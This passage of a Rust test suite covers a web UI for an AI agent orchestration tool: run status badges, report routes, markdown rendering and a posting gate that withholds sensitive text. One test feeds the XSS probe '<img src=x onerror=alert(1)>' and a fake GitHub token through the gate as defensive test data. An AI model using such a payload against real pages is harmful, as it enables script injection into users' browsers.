15938 dir.join("run.json"),
15939 serde_json::to_string_pretty(&state).expect("serialize run"),
15940 )
15941 .expect("write run.json");
15942
15943 let detail = f.get(&format!("/api/runs/{id}")).await.json();
15944 assert_eq!(detail["live"], "dead", "{detail}");
15945 }
15946
15947 #[test]
15951 fn summarize_asks_about_each_pid_once_and_keeps_the_row_meaning() {
15952 let mk = |id: &str, pid: Option<u32>| {
15953 let mut s = RunState::new(
15954 PathBuf::from("/repo/magi"),
15955 "main".to_owned(),
15956 "0123456789abcdef".to_owned(),
15957 "Add a web UI".to_owned(),
15958 Config::default(),
15959 );
15960 s.id = id.to_owned();
15961 s.driver_pid = pid;
15962 s.driver_started_at = Some("1790000000".to_owned());
15963 s
15964 };
15965 let states = vec![
15966 mk("20260902-140502-aaaa", Some(77)),
15967 mk("20260902-140502-bbbb", Some(77)),
15968 mk("20260902-140502-cccc", Some(77)),
15969 mk("20260902-140502-dddd", None),
15970 ];
15971 let open: HashSet<String> = ["20260902-140502-bbbb".to_owned()].into();
15972 let claimed: HashSet<String> = ["20260902-140502-dddd".to_owned()].into();
15973 let sup: HashMap<String, String> = [(
15974 "20260902-140502-aaaa".to_owned(),
15975 "20260902-140502-cccc".to_owned(),
15976 )]
15977 .into();
15978
15979 let status_calls = std::cell::Cell::new(0);
15980 let identity_calls = std::cell::Cell::new(0);
15981 let probe = std::cell::RefCell::new(crate::proc::ProcProbe::new(
15982 |_| {
15983 status_calls.set(status_calls.get() + 1);
15984 Some(true)
15985 },
15986 |_| {
15987 identity_calls.set(identity_calls.get() + 1);
15988 Some("1790000000".to_owned())
15989 },
15990 ));
15991 let rows = summarize(
15992 states,
15993 &open,
15994 &claimed,
15995 &sup,
15996 |p| probe.borrow_mut().status(p),
15997 |p| probe.borrow_mut().started_at(p),
15998 );
15999
16000 assert_eq!(status_calls.get(), 1, "one pid, one status query");
16001 assert_eq!(identity_calls.get(), 1, "one pid, one identity query");
16002 assert_eq!(rows.len(), 4);
16003 assert!(!rows[0].waiting && rows[1].waiting);
16004 assert_eq!(rows[0].live, crate::run::Liveness::Live);
16005 assert_eq!(rows[3].live, crate::run::Liveness::Live, "claim alone");
16006 assert_eq!(rows[0].superseded_by.as_deref(), Some("cccc"));
16007 assert_eq!(rows[1].superseded_by, None);
16008 }
16009
16010 #[test]
16011 fn run_list_exposes_a_confirmed_dead_driver_for_stale_presentation() {
16012 let mut state = RunState::new(
16013 PathBuf::from("/repo/magi"),
16014 "main".to_owned(),
16015 "0123456789abcdef".to_owned(),
16016 "Review only".to_owned(),
16017 Config::default(),
16018 );
16019 state.id = "20260922-090200-dead".to_owned();
16020 state.status = RunStatus::Reviewing;
16021 let row = serde_json::to_value(RunSummary::of(&state, false, crate::run::Liveness::Dead))
16022 .expect("serialize list row");
16023 assert_eq!(row["status"], "reviewing");
16024 assert_eq!(row["display_status"], "stale");
16025 assert_eq!(row["live"], "dead", "{row}");
16026 assert!(!row["done"].as_bool().unwrap());
16027 }
16028
16029 #[test]
16030 fn run_display_status_distinguishes_park_crash_and_owner_wait() {
16031 use crate::run::Liveness::{Dead, Live, Unknown};
16032 let mut state = RunState::new(
16033 PathBuf::from("/repo/magi"),
16034 "main".to_owned(),
16035 "abc".to_owned(),
16036 "Review only".to_owned(),
16037 Config::default(),
16038 );
16039 for (status, parked, node, waiting, live, expected) in [
16040 (
16041 RunStatus::Judging,
16042 true,
16043 "github-text",
16044 false,
16045 Dead,
16046 "parked",
16047 ),
16048 (RunStatus::Judging, false, "park", false, Dead, "stale"),
16049 (RunStatus::Judging, false, "judge", false, Dead, "stale"),
16050 (
16051 RunStatus::Judging,
16052 true,
16053 "github-text",
16054 true,
16055 Dead,
16056 "waiting",
16057 ),
16058 (
16059 RunStatus::Judging,
16060 false,
16061 "github-text",
16062 true,
16063 Dead,
16064 "waiting",
16065 ),
16066 (
16067 RunStatus::Judging,
16068 false,
16069 "github-text",
16070 false,
16071 Dead,
16072 "stale",
16073 ),
16074 (RunStatus::Judging, false, "resume", false, Dead, "stale"),
16075 (RunStatus::Judging, true, "park", false, Live, "judging"),
16076 (RunStatus::Judging, true, "park", false, Unknown, "judging"),
16077 (RunStatus::Merged, true, "park", false, Dead, "merged"),
16078 (RunStatus::Blocked, true, "park", false, Dead, "blocked"),
16079 (
16080 RunStatus::Blocked,
16081 true,
16082 "github-text",
16083 true,
16084 Dead,
16085 "waiting",
16086 ),
16087 ] {
16088 state.status = status;
16089 state.parked = parked;
16090 state.events.clear();
16091 state.event(
16092 "park",
16093 "an earlier park does not determine the latest state",
16094 );
16095 state.event(node, "message is not used for classification");
16096 let summary = RunSummary::of(&state, waiting, live);
16097 let detail = RunDetailView::of(state.clone(), waiting, live, None, None, None);
16098 assert_eq!(
16099 summary.display_status, expected,
16100 "{status:?}/{node}/{live:?}"
16101 );
16102 assert_eq!(detail.display_status, summary.display_status);
16103 assert_eq!(detail.waiting, summary.waiting);
16104 }
16105 state.status = RunStatus::Judging;
16106 state.parked = false;
16107 state.events.clear();
16108 assert_eq!(run_display_status(&state, false, Dead), "stale");
16109 }
16110
16111 #[test]
16112 fn badge_status_prefers_superseded_then_stale_and_spares_live_and_terminal() {
16113 use crate::run::Liveness::{Dead, Live, Unknown};
16114 let mut state = RunState::new(
16115 PathBuf::from("/repo/magi"),
16116 "main".to_owned(),
16117 "abc".to_owned(),
16118 "Badge".to_owned(),
16119 Config::default(),
16120 );
16121 for (status, waiting, live, superseded, expected) in [
16122 (RunStatus::Gating, false, Dead, false, "stale"),
16123 (RunStatus::Gating, false, Dead, true, "superseded"),
16124 (RunStatus::Gating, false, Unknown, true, "superseded"),
16125 (RunStatus::Gating, true, Dead, true, "superseded"),
16126 (RunStatus::Gating, true, Dead, false, "waiting"),
16127 (RunStatus::Gating, false, Unknown, false, "gating"),
16128 (RunStatus::Gating, false, Live, true, "gating"),
16129 (RunStatus::Gating, true, Live, true, "waiting"),
16130 (RunStatus::Merged, false, Dead, true, "merged"),
16131 (RunStatus::Blocked, false, Dead, true, "blocked"),
16132 ] {
16133 state.status = status;
16134 let display = run_display_status(&state, waiting, live);
16135 assert_eq!(
16136 run_badge_status(&state, &display, live, superseded),
16137 expected,
16138 "{status:?}/{live:?}/superseded={superseded}"
16139 );
16140 }
16141 }
16142
16143 #[test]
16144 fn summarize_and_detail_expose_badge_status() {
16145 use crate::run::Liveness::Dead;
16146 let mut state = RunState::new(
16147 PathBuf::from("/repo/magi"),
16148 "main".to_owned(),
16149 "abc".to_owned(),
16150 "Badge".to_owned(),
16151 Config::default(),
16152 );
16153 state.status = RunStatus::Gating;
16154 let none = HashSet::new();
16155 let id = state.id.clone();
16156 let mut by = HashMap::new();
16157 let rows = summarize(
16158 [state.clone()],
16159 &none,
16160 &none,
16161 &by,
16162 |_| Some(false),
16163 |_| None,
16164 );
16165 assert_eq!(rows[0].badge_status, rows[0].display_status);
16167 by.insert(id, "20260901-000000-913b".to_owned());
16168 let detail = RunDetailView::of(
16169 state.clone(),
16170 false,
16171 Dead,
16172 Some("913b".to_owned()),
16173 None,
16174 None,
16175 );
16176 assert_eq!(detail.badge_status, "superseded");
16177 let json = serde_json::to_value(&detail).unwrap();
16178 assert_eq!(json["badge_status"], "superseded");
16179 let detail = RunDetailView::of(state, false, Dead, None, None, None);
16180 assert_eq!(detail.badge_status, "stale");
16181 }
16182
16183 #[tokio::test]
16184 async fn run_display_status_routes_share_the_open_question_store() {
16185 let f = Fixture::start().await;
16186 let id = "20260922-090200-abcd";
16187 write_run(&f.runs(), id, RunStatus::Judging);
16188 let mut state = read_run(&f.runs(), id).unwrap();
16189 state.parked = true;
16190 state.driver_exited = true;
16191 state.event("github-text", "waiting for the owner");
16192 state.save_under(f.home.path()).unwrap();
16193 let mut task = Task::new(
16194 "resumed task".to_owned(),
16195 "do it".to_owned(),
16196 PathBuf::from("/repo"),
16197 Source::Human,
16198 );
16199 task.runs = vec![id.to_owned(), id.to_owned()];
16200 f.queue().put(&mut task).unwrap();
16201 let store = f.questions();
16202 let mut q = Question::new(
16203 id.to_owned(),
16204 "github-text".to_owned(),
16205 "owner".to_owned(),
16206 "Approve the text?".to_owned(),
16207 String::new(),
16208 Vec::new(),
16209 );
16210 store.put(&mut q).unwrap();
16211 for expected in ["waiting", "parked"] {
16212 let list = f.get("/api/runs").await.json();
16213 let detail = f.get(&format!("/api/runs/{id}")).await.json();
16214 assert_eq!(list[0]["display_status"], expected);
16215 assert_eq!(detail["display_status"], expected);
16216 assert_eq!(detail["waiting"], list[0]["waiting"]);
16217 assert_eq!(list[0]["badge_status"], expected);
16218 assert_eq!(detail["badge_status"], expected);
16219 assert!(list[0]["superseded_by"].is_null());
16220 assert!(detail["superseded_by"].is_null());
16221 let task_detail = f.get(&format!("/api/queue/{}", task.id)).await.json();
16222 let history = task_detail["history"].as_array().unwrap();
16223 assert_eq!(history.len(), 2);
16224 assert!(history[0]["badge"].is_null());
16225 assert_eq!(history[1]["badge"], expected);
16226 q.status = ask::QuestionStatus::Answered;
16227 store.put(&mut q).unwrap();
16228 }
16229 }
16230
16231 #[tokio::test]
16232 async fn a_resumed_crashed_driver_is_stale_despite_its_last_park_event() {
16233 let f = Fixture::start().await;
16234 let id = "20260922-090200-abcd";
16235 write_run(&f.runs(), id, RunStatus::Judging);
16236 let mut state = read_run(&f.runs(), id).unwrap();
16237 state.parked = true;
16238 state.driver_exited = true;
16239 state.event("park", "stopped at a node boundary");
16240 state.save_under(f.home.path()).unwrap();
16241
16242 for expected in ["parked", "stale"] {
16243 let list = f.get("/api/runs").await.json();
16244 let detail = f.get(&format!("/api/runs/{id}")).await.json();
16245 assert_eq!(list[0]["live"], "dead");
16246 assert_eq!(list[0]["display_status"], expected);
16247 assert_eq!(detail["display_status"], expected);
16248 state.parked = false;
16251 state.save_under(f.home.path()).unwrap();
16252 }
16253 }
16254
16255 #[tokio::test]
16256 async fn the_run_list_is_newest_first_and_honours_a_limit() {
16257 let f = Fixture::start().await;
16258 for id in [
16259 "20260902-140501-aaaa",
16260 "20260902-140502-bbbb",
16261 "20260902-140503-cccc",
16262 ] {
16263 write_run(&f.runs(), id, RunStatus::Merged);
16264 }
16265
16266 let all = f.get("/api/runs").await.json();
16267 let capped = f.get("/api/runs?limit=2").await.json();
16268
16269 assert_eq!(all[0]["id"], "20260902-140503-cccc");
16270 assert_eq!(all.as_array().map(Vec::len), Some(3));
16271 assert_eq!(capped.as_array().map(Vec::len), Some(2));
16272 assert_eq!(capped[0]["id"], "20260902-140503-cccc");
16273 }
16274
16275 #[tokio::test]
16276 async fn the_report_route_serves_the_terminal_report_as_plain_text() {
16277 let f = Fixture::start().await;
16278 write_run(&f.runs(), "20260902-140501-a1b2", RunStatus::Blocked);
16279
16280 let res = f.get("/api/runs/20260902-140501-a1b2/report").await;
16281
16282 assert_eq!(res.status, 200);
16283 assert!(
16284 res.headers
16285 .contains("content-type: text/plain; charset=utf-8"),
16286 "a browser must render it, not download it: {}",
16287 res.headers
16288 );
16289 assert!(
16293 res.body.contains("20260902-140501-a1b2"),
16294 "the report is about the run that was asked for: {}",
16295 res.body
16296 );
16297 }
16298
16299 #[tokio::test]
16300 async fn the_report_json_route_serves_sections_and_never_hides_an_unreadable_run() {
16301 crate::run::pin_test_home();
16303 let f = Fixture::start().await;
16304 let id = "20260902-140501-a1b2";
16305 write_run(&f.runs(), id, RunStatus::Stalled);
16306 let path = f.runs().join(id).join("run.json");
16309 let mut v: serde_json::Value =
16310 serde_json::from_str(&std::fs::read_to_string(&path).unwrap()).unwrap();
16311 v["tally"] = serde_json::json!({
16312 "first_choice": {"A": 1}, "borda": {"A": 2}, "winner": "A",
16313 "unanimous_initial": true, "deliberated": false, "changed_votes": 0,
16314 "unanimous_final": true, "judges": 3, "present": 1, "quorum": 2,
16315 "met_quorum": false, "rankings": 1
16316 });
16317 v["reviews"] = serde_json::json!([{
16318 "round": 1, "head": "abcdef0123", "answered": 1, "expected": 1, "blocking": 1,
16319 "e2e_deferred": true,
16320 "reviews": [{"reviewer": 1, "agent": "a", "findings": [
16321 {"id": "R1-1-1", "severity": "major", "title": "t", "file": "src/a.rs", "line": 3}
16322 ]}]
16323 }]);
16324 std::fs::write(&path, v.to_string()).unwrap();
16325 write_run(&f.runs(), "20260902-140502-dead", RunStatus::Blocked);
16326 std::fs::write(
16327 f.runs().join("20260902-140502-dead").join("run.json"),
16328 "{not json",
16329 )
16330 .unwrap();
16331
16332 let res = f.get(&format!("/api/runs/{id}/report.json")).await;
16333
16334 assert_eq!(res.status, 200, "{}", res.body);
16335 assert!(res.headers.contains("content-type: application/json"));
16336 let j = res.json();
16337 assert_eq!(j["schema"], 1);
16338 assert_eq!(j["header"]["id"], id);
16339 assert_eq!(j["header"]["tone"], "warn", "a stalled run is never ok");
16340 let kinds: Vec<&str> = j["sections"]
16341 .as_array()
16342 .unwrap()
16343 .iter()
16344 .map(|s| s["kind"].as_str().unwrap())
16345 .collect();
16346 assert_eq!(kinds, ["candidates", "tally", "review"]);
16347 let tally = &j["sections"][1]["tally"];
16348 assert_eq!(
16349 (tally["decided"].clone(), tally["provisional"].clone()),
16350 (false.into(), true.into())
16351 );
16352 let round = &j["sections"][2]["rounds"][0];
16353 assert_eq!(round["e2e"]["state"], "deferred");
16354 assert_eq!(round["findings"][0]["severity"], "major");
16355 assert_eq!(round["findings"][0]["blocking"], true);
16356 assert_eq!(round["findings"][0]["state"], "open");
16357
16358 assert_eq!(f.get(&format!("/api/runs/{id}/report")).await.status, 200);
16360
16361 let bad = f.get("/api/runs/20260902-140502-dead/report.json").await;
16363 assert_ne!(bad.status, 200, "{}", bad.body);
16364 assert_eq!(
16365 bad.status,
16366 f.get("/api/runs/20260902-140502-dead/report").await.status
16367 );
16368 assert_eq!(f.get("/api/health").await.json()["runs_unreadable"], 1);
16369 assert_eq!(
16370 f.get("/api/runs/20260902-999999-ffff/report.json")
16371 .await
16372 .status,
16373 404
16374 );
16375 }
16376
16377 #[tokio::test]
16378 async fn the_report_json_route_serves_deliberation_turns_with_markdown_bodies() {
16379 crate::run::pin_test_home();
16380 let f = Fixture::start().await;
16381 let id = "20260902-140503-delib";
16382 write_run(&f.runs(), id, RunStatus::Merged);
16383 let path = f.runs().join(id).join("run.json");
16384 let mut v: serde_json::Value =
16385 serde_json::from_str(&std::fs::read_to_string(&path).unwrap()).unwrap();
16386 v["judgements"] = serde_json::json!([
16387 {"judge": 1, "agent": "judge-1", "ranking": ["A", "B"], "seat": "judge-1"}
16388 ]);
16389 v["tally"] = serde_json::json!({
16390 "first_choice": {"A": 1}, "borda": {"A": 2}, "winner": "A",
16391 "unanimous_initial": false, "deliberated": true, "changed_votes": 0,
16392 "unanimous_final": true, "judges": 1, "present": 1, "quorum": 1,
16393 "met_quorum": true, "rankings": 1
16394 });
16395 v["deliberation"] = serde_json::json!([
16396 {
16397 "round": 1,
16398 "turns": [
16399 {
16400 "judge": 1,
16401 "agent": "judge-1",
16402 "body": "I prefer candidate **A** because it has cleaner tests.",
16403 "tentative": "A"
16404 }
16405 ]
16406 },
16407 {
16408 "round": 2,
16409 "turns": [
16410 {
16411 "judge": 1,
16412 "agent": "judge-1",
16413 "body": "Still thinking, no choice yet.",
16414 "tentative": null
16415 }
16416 ]
16417 }
16418 ]);
16419 std::fs::write(&path, v.to_string()).unwrap();
16420
16421 let res = f.get(&format!("/api/runs/{id}/report.json")).await;
16422 assert_eq!(res.status, 200, "{}", res.body);
16423 let j = res.json();
16424 let judging = j["sections"]
16425 .as_array()
16426 .unwrap()
16427 .iter()
16428 .find(|s| s["kind"] == "judging")
16429 .expect("judging section exists");
16430
16431 let delib_lines = judging["deliberation"].as_array().unwrap();
16433 assert_eq!(delib_lines.len(), 2);
16434 assert_eq!(delib_lines[0], "r1 judge 1 -> A");
16435 assert_eq!(delib_lines[1], "r2 judge 1 -> -");
16436
16437 let rounds = judging["rounds"].as_array().unwrap();
16439 assert_eq!(rounds.len(), 2);
16440 let r1_t0 = &rounds[0]["turns"][0];
16441 assert_eq!(r1_t0["judge"], 1);
16442 assert_eq!(r1_t0["agent"], "judge-1");
16443 assert_eq!(r1_t0["tentative"], "A");
16444 assert_eq!(
16445 r1_t0["body"],
16446 "I prefer candidate **A** because it has cleaner tests."
16447 );
16448 assert!(!r1_t0["body_md"].as_array().unwrap().is_empty());
16449
16450 let r2_t0 = &rounds[1]["turns"][0];
16451 assert_eq!(r2_t0["judge"], 1);
16452 assert_eq!(r2_t0["agent"], "judge-1");
16453 assert!(r2_t0["tentative"].is_null());
16454 assert_eq!(r2_t0["body"], "Still thinking, no choice yet.");
16455 assert!(!r2_t0["body_md"].as_array().unwrap().is_empty());
16456
16457 let id_empty = "20260902-140504-nodelib";
16459 write_run(&f.runs(), id_empty, RunStatus::Merged);
16460 let path_empty = f.runs().join(id_empty).join("run.json");
16461 let mut v_empty: serde_json::Value =
16462 serde_json::from_str(&std::fs::read_to_string(&path_empty).unwrap()).unwrap();
16463 v_empty["judgements"] = serde_json::json!([
16464 {"judge": 1, "agent": "judge-1", "ranking": ["A", "B"], "seat": "judge-1"}
16465 ]);
16466 v_empty["deliberation"] = serde_json::json!([]);
16467 std::fs::write(&path_empty, v_empty.to_string()).unwrap();
16468
16469 let res_empty = f.get(&format!("/api/runs/{id_empty}/report.json")).await;
16470 assert_eq!(res_empty.status, 200, "{}", res_empty.body);
16471 let j_empty = res_empty.json();
16472 let judging_empty = j_empty["sections"]
16473 .as_array()
16474 .unwrap()
16475 .iter()
16476 .find(|s| s["kind"] == "judging")
16477 .expect("judging section exists");
16478 assert_eq!(judging_empty["rounds"].as_array().unwrap().len(), 0);
16479 }
16480
16481 #[tokio::test]
16482 async fn the_front_end_is_served_from_the_binary_with_types_a_phone_renders() {
16483 let f = Fixture::start().await;
16484
16485 let html = f.get("/").await;
16486 let css = f.get("/app.css").await;
16487 let js = f.get("/app.js").await;
16488
16489 assert_eq!((html.status, css.status, js.status), (200, 200, 200));
16490 assert!(
16491 html.headers
16492 .contains("content-type: text/html; charset=utf-8")
16493 );
16494 assert!(css.headers.contains("content-type: text/css"));
16495 assert!(js.headers.contains("content-type: text/javascript"));
16496 assert_eq!(html.body, INDEX_HTML, "compiled in, never read from disk");
16497 }
16498
16499 #[test]
16500 fn a_land_with_no_fix_rounds_says_so_instead_of_an_empty_rail() {
16501 let body = |name: &str| {
16502 let at = APP_JS
16503 .find(name)
16504 .unwrap_or_else(|| panic!("{name} missing"));
16505 &APP_JS[at..at + 2500.min(APP_JS.len() - at)]
16506 };
16507 assert!(body("function roundRail").contains("if (round <= 0) return null;"));
16508 let note = body("function landRoundNote");
16509 assert!(note.contains("No fix rounds needed (0 of ${rounds} used)."));
16510 assert!(note.contains("Land round ${round}"));
16511 let land = body("function renderLand");
16512 let note_at = land
16513 .find("landRoundNote(pr)")
16514 .expect("renderLand uses the note");
16515 assert!(
16516 note_at
16517 < land
16518 .find("roundRail(pr)")
16519 .expect("renderLand uses the rail")
16520 );
16521 }
16522
16523 #[test]
16524 fn the_runs_page_redesign_keeps_its_guards() {
16525 let body = |name: &str| {
16526 let at = APP_JS
16527 .find(name)
16528 .unwrap_or_else(|| panic!("{name} missing"));
16529 &APP_JS[at..at + 2500.min(APP_JS.len() - at)]
16530 };
16531 let land = body("function renderLand");
16533 let land = &land[..land.find("function followupList").unwrap_or(land.len())];
16534 assert!(
16535 !land.contains("box.append("),
16536 "renderLand must use append()"
16537 );
16538 assert!(land.contains("append(box, ["));
16539 assert!(body("function parseRoute").contains("RUN_TABS.includes(parts[2])"));
16541 assert!(
16542 body("function applyRoute")
16543 .contains("route.name !== state.route.name || route.id !== state.route.id")
16544 );
16545 assert!(!APP_JS.contains("adviseConvergeDiagram"));
16547 assert!(!INDEX_HTML.contains("advise-converge"));
16548 assert!(INDEX_HTML.contains("id=\"advise-strip\""));
16549 assert!(APP_JS.contains("provisional"));
16550 for id in [
16551 "run-tab-overview",
16552 "run-tab-timeline",
16553 "run-tab-report",
16554 "run-report",
16555 "runs-scope",
16556 ] {
16557 assert!(INDEX_HTML.contains(&format!("id=\"{id}\"")), "{id}");
16558 }
16559 assert!(!INDEX_HTML.contains("runs-tree"));
16560 assert!(!INDEX_HTML.contains("run-raw-panel"));
16561 assert!(APP_JS.contains("resume"));
16563 assert!(APP_JS.contains("unreadable"));
16565 }
16566
16567 #[test]
16568 fn the_unreadable_banner_is_dismissible_per_count_and_the_count_stays() {
16569 assert!(APP_JS.contains("magi-stats-unreadable-dismissed"));
16570 assert!(APP_JS.contains("s.runs_unreadable > 0 && s.runs_unreadable !== dismissed"));
16571 assert!(APP_JS.contains("setText(\n $(\"stats-unreadable-text\")"));
16572 assert!(INDEX_HTML.contains("id=\"stats-unreadable-close\""));
16573 assert!(INDEX_HTML.contains("aria-label=\"Dismiss unreadable-runs warning\""));
16574 assert!(APP_JS.contains("unreadable` : null"));
16576 }
16577
16578 #[test]
16579 fn blocked_run_detail_exposes_the_failed_gate_reason() {
16580 let mut state = RunState::new(
16581 "/repo".into(),
16582 "main".into(),
16583 "abc".into(),
16584 "task".into(),
16585 crate::config::Config::default(),
16586 );
16587 state.status = RunStatus::Blocked;
16588 state.gate_ran = true;
16589 state.gate.push(crate::run::CommandOutcome {
16590 command: "cargo make check".into(),
16591 code: Some(1),
16592 output_tail: "test web::tests::talks_report_independent_thinking_claims_and_queue_a_second_message ... FAILED\ntest result: FAILED. 1813 passed; 1 failed; 0 ignored;".into(),
16593 duration_ms: 0,
16594 resource_blocked: false,
16595 });
16596 let view = RunDetailView::of(
16597 state,
16598 false,
16599 crate::run::Liveness::Unknown,
16600 None,
16601 None,
16602 None,
16603 );
16604 let value = serde_json::to_value(view).unwrap();
16605 assert_eq!(
16606 value["stop_reason"],
16607 "Gate failed: cargo make check — web::tests::talks_report_independent_thinking_claims_and_queue_a_second_message (1 failed)"
16608 );
16609 }
16610
16611 #[test]
16612 fn the_run_detail_payload_says_whether_the_run_is_done() {
16613 for (status, done) in [
16615 (RunStatus::Superseded, true),
16616 (RunStatus::Blocked, true),
16617 (RunStatus::Landing, false),
16618 ] {
16619 let mut state = RunState::new(
16620 std::path::PathBuf::from("/repo"),
16621 "main".to_owned(),
16622 "abc".to_owned(),
16623 "x".to_owned(),
16624 crate::config::Config::default(),
16625 );
16626 state.status = status;
16627 let v = serde_json::to_value(RunDetailView::of(
16628 state,
16629 false,
16630 crate::run::Liveness::Unknown,
16631 None,
16632 None,
16633 None,
16634 ))
16635 .unwrap();
16636 assert_eq!(v["done"], done, "{status:?}");
16637 }
16638 }
16639
16640 fn has_strong(nodes: &[md::Node]) -> bool {
16642 serde_json::to_string(nodes).unwrap().contains("strong")
16643 }
16644
16645 #[test]
16646 fn the_run_detail_payload_carries_markdown_for_agent_prose() {
16647 let mut state = RunState::new(
16648 std::path::PathBuf::from("/repo"),
16649 "main".to_owned(),
16650 "abc".to_owned(),
16651 "x".to_owned(),
16652 crate::config::Config::default(),
16653 );
16654 let proposal = |approach: &str| {
16655 serde_json::json!({
16656 "approach": approach, "key_tradeoff": "t", "why_not_naive": "w",
16657 })
16658 };
16659 state.advice = Some(
16660 serde_json::from_value(serde_json::json!({
16661 "records": [
16662 {"seat": "advisor-1", "agent": "a", "duration_ms": 1,
16663 "proposal": proposal("do **this**")},
16664 {"seat": "advisor-2", "agent": "b", "duration_ms": 1, "error": "no"},
16665 ],
16666 "synthesis": "- one\n- **two**\n\n`code`",
16667 }))
16668 .unwrap(),
16669 );
16670 state.candidates = serde_json::from_value(serde_json::json!([
16671 {"index": 0, "label": "A", "agent": "a", "branch": "b", "worktree": "/w",
16672 "summary": "did **it**"},
16673 {"index": 1, "label": "B", "agent": "a", "branch": "b", "worktree": "/w"},
16674 ]))
16675 .unwrap();
16676 state.reviews = serde_json::from_value(serde_json::json!([{
16679 "round": 1, "head": "h",
16680 "reviews": [{
16681 "reviewer": 1, "agent": "a", "summary": "sum **mary**",
16682 "findings": [
16683 {"severity": "nit", "title": "t1", "detail": "plain nit"},
16684 {"severity": "blocker", "title": "t2", "detail": "bad **blocker**"},
16685 ],
16686 }],
16687 "reconsideration": [{"reviewer": 1, "agent": "a", "reason": "because **so**"}],
16688 "fix": {"agent": "a", "notes": "fixed **it**",
16689 "rejected": [{"id": "R1-1-1", "why": "no **way**"}]},
16690 }, {"round": 2, "head": "h2", "reviews": []}]))
16691 .unwrap();
16692
16693 let v = serde_json::to_value(RunDetailView::of(
16694 state,
16695 false,
16696 crate::run::Liveness::Unknown,
16697 None,
16698 None,
16699 None,
16700 ))
16701 .unwrap();
16702
16703 let strong = |p: &str| {
16704 let n = v.pointer(p).unwrap_or_else(|| panic!("missing {p}"));
16705 assert!(n.to_string().contains("strong"), "{p}: {n}");
16706 };
16707 strong("/advice_md/synthesis");
16708 assert!(v["advice_md"]["synthesis"].to_string().contains("code"));
16709 assert!(v["advice_md"]["synthesis"].to_string().contains("list"));
16710 strong("/advice_md/approaches/0");
16711 assert_eq!(v["advice_md"]["approaches"][1], serde_json::json!([]));
16712 strong("/candidate_summaries_md/0");
16713 assert_eq!(v["candidate_summaries_md"][1], serde_json::json!([]));
16714 strong("/reviews_md/0/reviewers/0/summary");
16715 let f = &v["reviews_md"][0]["reviewers"][0]["findings"];
16716 assert!(!f[0].to_string().contains("strong"), "recorded order kept");
16717 assert!(f[1].to_string().contains("strong"));
16718 strong("/reviews_md/0/reconsideration/0");
16719 strong("/reviews_md/0/fix/notes");
16720 strong("/reviews_md/0/fix/rejected/0");
16721 assert_eq!(v["reviews_md"][1]["fix"], serde_json::Value::Null);
16722 assert_eq!(v["reviews_md"][1]["reviewers"], serde_json::json!([]));
16723 assert_eq!(v["candidates"][0]["summary"], "did **it**");
16725 assert!(has_strong(&md::to_nodes("**x**", &md::ImageBase::None)));
16726 }
16727
16728 #[test]
16729 fn a_run_without_advice_has_no_advice_md() {
16730 let state = RunState::new(
16731 std::path::PathBuf::from("/repo"),
16732 "main".to_owned(),
16733 "abc".to_owned(),
16734 "x".to_owned(),
16735 crate::config::Config::default(),
16736 );
16737 let p = run_prose_md(&state);
16738 assert!(p.advice_md.is_none());
16739 assert!(p.candidate_summaries_md.is_empty() && p.reviews_md.is_empty());
16740 }
16741
16742 #[test]
16743 fn posting_comparison_view_validates_metadata_and_supports_legacy_questions() {
16744 let store = ask::Questions::at(PathBuf::from("unused"));
16745 let gt = crate::github_text::Withheld {
16746 title: false,
16747 body: true,
16748 categories: vec!["sensitive-data".into()],
16749 };
16750 let body = "<img src=x onerror=alert(1)> & 192.0.2.1";
16751 let (detail, comparison) =
16752 crate::github_text::question_content(>, "fix: x", body, "r", None, None, None);
16753 let mut q = Question::new(
16754 "r".into(),
16755 "github-text".into(),
16756 "posting-gate".into(),
16757 "s".into(),
16758 detail,
16759 Vec::new(),
16760 );
16761 assert!(
16762 QuestionView::of(q.clone(), &store, false)
16763 .posting_view
16764 .is_none()
16765 );
16766 q.posting_comparison = Some(comparison);
16767 let view = QuestionView::of(q.clone(), &store, false);
16768 let field = &view.posting_view.unwrap().fields[0];
16769 assert_eq!(
16770 field
16771 .original
16772 .iter()
16773 .map(|f| f.text.as_str())
16774 .collect::<String>(),
16775 body
16776 );
16777 assert!(field.original[0].text.starts_with("<img"));
16778 let original_question: Question =
16779 serde_json::from_str(&serde_json::to_string(&q).unwrap()).unwrap();
16780 assert_eq!(original_question, q);
16781 q.posting_comparison.as_mut().unwrap().fields[0].pairs[0]
16782 .original
16783 .start = 1;
16784 assert!(
16785 QuestionView::of(q.clone(), &store, false)
16786 .posting_view
16787 .is_none()
16788 );
16789 q.posting_comparison = original_question.posting_comparison;
16790 q.detail.push_str("extra context");
16791 assert!(
16792 QuestionView::of(q.clone(), &store, false)
16793 .posting_view
16794 .is_some()
16795 );
16796 q.detail.insert(0, 'x');
16797 assert!(QuestionView::of(q, &store, false).posting_view.is_none());
16798 }
16799
16800 #[test]
16801 fn posting_comparison_whole_field_view_carries_unique_trigger_groups() {
16802 let store = ask::Questions::at(PathBuf::from("unused"));
16803 let body = "日本語の説明です。\nghp_abcdefghijklmnop\nMore context.\nghp_abcdefghijklmnop";
16804 let gt = crate::github_text::Withheld::from_check(
16805 &crate::github_text::check("fix: x", body),
16806 "fix: x",
16807 body,
16808 )
16809 .unwrap();
16810 let (detail, comparison) =
16811 crate::github_text::question_content(>, "fix: x", body, "r", None, None, None);
16812 let mut q = Question::new(
16813 "r".into(),
16814 "github-text".into(),
16815 "posting-gate".into(),
16816 "s".into(),
16817 detail,
16818 Vec::new(),
16819 );
16820 q.posting_comparison = Some(comparison);
16821 let value = serde_json::to_value(QuestionView::of(q.clone(), &store, false)).unwrap();
16822 let field = &value["posting_view"]["fields"][0];
16823 let group = &field["replacement_group"];
16824 let triggers = group["triggers"].as_array().unwrap();
16825 assert_eq!(triggers.len(), 2);
16826 assert_ne!(triggers[0], triggers[1]);
16827 for id in triggers {
16828 assert!(
16829 field["original"]
16830 .as_array()
16831 .unwrap()
16832 .iter()
16833 .any(|f| &f["pair"] == id)
16834 );
16835 assert!(
16836 !field["changed"]
16837 .as_array()
16838 .unwrap()
16839 .iter()
16840 .any(|f| &f["pair"] == id)
16841 );
16842 }
16843 q.posting_comparison.as_mut().unwrap().fields[0].original_triggers[0].id =
16844 group["id"].as_u64().unwrap() as usize;
16845 assert!(
16846 QuestionView::of(q, &store, false).posting_view.is_none(),
16847 "group and trigger IDs cannot collide"
16848 );
16849 }
16850
16851 #[test]
16852 fn a_question_view_carries_markdown_for_each_thread_turn() {
16853 let home = TempDir::new().unwrap();
16854 let store = ask::Questions::at(home.path().join("questions"));
16855 let mut q = Question::new(
16856 "run".to_owned(),
16857 "implement".to_owned(),
16858 "impl-A".to_owned(),
